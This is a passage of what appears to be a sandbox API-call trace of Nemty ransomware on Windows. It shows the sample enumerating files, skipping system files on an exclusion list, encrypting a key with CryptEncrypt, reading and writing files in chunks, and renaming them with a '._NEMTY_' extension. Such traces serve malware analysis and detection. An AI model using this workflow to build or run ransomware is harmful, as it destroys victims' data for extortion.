lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340388, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.088] CloseHandle (hObject=0xffffffff) returned 0 [0167.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0167.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63440e0 [0167.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63441d8 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-crescent_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-crescent_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-crescent_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63441d8 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340388 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0167.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.089] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e02745, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e02745, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x316df6cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4b87, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0167.089] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2=".") returned 1 [0167.089] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="..") returned 1 [0167.089] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="...") returned 1 [0167.089] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="windows") returned -1 [0167.089] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="$RECYCLE.BIN") returned 1 [0167.089] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="rsa") returned 1 [0167.089] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="NTDETECT.COM") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="ntldr") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="MSDOS.SYS") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="IO.SYS") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="boot.ini") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="boot.ini") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="ntuser.dat") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="desktop.ini") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="CONFIG.SYS") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="RECYCLER") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="BOOTSECT.BAK") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="bootmgr") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="programdata") returned 1 [0167.090] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous.png", lpString2="appdata") returned 1 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0167.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0167.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 38 [0167.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0167.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0167.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0167.091] Sleep (dwMilliseconds=0x5) [0167.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x173fcdb0, dwHighDateTime=0x1d561e8)) [0167.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x173fcdb0, dwHighDateTime=0x1d561e8)) [0167.105] GetLastError () returned 0x5 [0167.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.105] GetLastError () returned 0x5 [0167.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.105] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.105] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.105] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0167.105] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="bRmuIY0UOhfYx41Ix/SVY7MQjB/PJrg2RoWQ7ldzUdT3zTriSZgeyX1VEKDkcS7z\r\nipa+lCtj/4Y2TLgJxPmBv/lklGYqrDOQNn/0aQRlnFKX3RIg/b9CclKSEHYL3K6Z\r\nZpuqmPoloXKoptuULNJ7LuI+ZRqmTbuwWi8jLS8Eu8Gg5LtAbcvZ5fZVwSSb63E9\r\n2AYKXFsg9zSs7tRtqsL8O1WMgZXaWAUS2j7SOzyD7YFjRl/GSz7KQrMxbojR+JKx\r\nj5Qq+12rRHon1t5zu5qwwS6nslJlxC2nigXeZK6MYxseRKewKgnz7w990rIwxgGi\r\nwe0y7lwaBq4s38ceNJqlaQ==\r\n", pcchString=0x653e91c) returned 1 [0167.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0167.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0167.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.106] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-gibbous.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.106] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.106] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 